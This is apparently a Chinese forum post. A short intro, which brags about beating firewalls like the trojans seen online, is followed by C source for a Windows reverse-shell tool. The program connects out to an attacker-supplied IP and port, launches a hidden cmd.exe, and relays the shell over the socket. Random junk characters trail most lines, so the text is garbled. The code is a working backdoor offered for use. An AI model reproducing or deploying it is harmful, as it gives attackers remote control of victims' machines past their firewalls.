这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 'OX6eY5
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/* ============================== q9WSQ$:z8
Rebound port in Windows NT 5K6_#g4"
By wind,2006/7 MB "?^~Sm
===============================*/ Va*Uwy?x/)
#include s9[v_(W
#include At bqj?
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#pragma comment(lib,"wsock32.lib") eEc;w#
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void OutputShell(); @#Xzk?+
SOCKET sClient; ":-)mfgGU
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; A<.Q&4jb
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void main(int argc,char **argv) H8-,gV
{ 9I.v?Tap
WSADATA stWsaData; .cZ&~ N
int nRet; h0^V!.-5
SOCKADDR_IN stSaiClient,stSaiServer; caj)
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if(argc != 3) \GvVs
{ .ySesN: C~
printf("Useage:\n\rRebound DestIP DestPort\n"); }=GyBnXu
return; iPFYG
} BEI/OGp
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WSAStartup(MAKEWORD(2,2),&stWsaData); 9C4l@jrF
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); s*8hN*A/,
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stSaiClient.sin_family = AF_INET; <hK$Cf_
stSaiClient.sin_port = htons(0); PO%]Jme
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); I8Zp#'|U
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) n~)Y% xe[U
{ }zobIfIF
printf("Bind Socket Failed!\n"); vSnb>z1
return; %cm5Z^B1"
} a<Ns C1
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stSaiServer.sin_family = AF_INET; ]nQ$:%HP
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); c~tSt.^WX
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); _$bx4a
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 6/-!oo
{ zEhy0LLm
printf("Connect Error!"); -y\N 9
return; \iL,l87
} RV$+g.4
OutputShell(); / P:Hfq
} 0}^-, Q,
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void OutputShell() Fhsmpe~
{
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char szBuff[1024]; V!opnLatYS
SECURITY_ATTRIBUTES stSecurityAttributes; -DuiK:mp
OSVERSIONINFO stOsversionInfo; *g,?13Q_
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ZK
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STARTUPINFO stStartupInfo; R_N<j
char *szShell; LNN:GD)>
PROCESS_INFORMATION stProcessInformation; a[$.B2U
unsigned long lBytesRead; xBZ9|2Y s
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); c0qv11,:t
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); EIYM0vls(
stSecurityAttributes.lpSecurityDescriptor = 0; aW6+Up+G*
stSecurityAttributes.bInheritHandle = TRUE; "aBd0i&
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 3H%HJS
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); _5K_YhT
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); dikWk
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Vd/S81/
stStartupInfo.wShowWindow = SW_HIDE; 6_y|4!,:W
stStartupInfo.hStdInput = hReadPipe; 3'"M31iA
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; op|mRJBq;
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GetVersionEx(&stOsversionInfo); R|CY4G
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switch(stOsversionInfo.dwPlatformId) ^i8I 1@ =
{ #w*pWD^
case 1: lQsQRp
szShell = "command.com"; B![5+
break; avpw+M6+
default: 0o<qEo^
szShell = "cmd.exe"; a`-hLX)~Z
break; ];I| _fXo%
} 1SFKP$^
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); VBX#
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r$#G%FMv
send(sClient,szMsg,77,0); 46zaxcY<!
while(1) {IMzR'PN
{ 0lRH
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PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); Z8&C-yCC
if(lBytesRead) sv;zvEn;-L
{ ZW?7g+P
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); UTTC:=F+
send(sClient,szBuff,lBytesRead,0); FqTkUWd,#
} Wv0'?NL.
else SznE:+
{ +hg\DqO^M
lBytesRead=recv(sClient,szBuff,1024,0); Y/S3)o
if(lBytesRead<=0) break; 2*citB{
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); X?6h>%) k
} VU/W~gb4"A
} eCp| QSXE
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return; ^)q2\YE;
}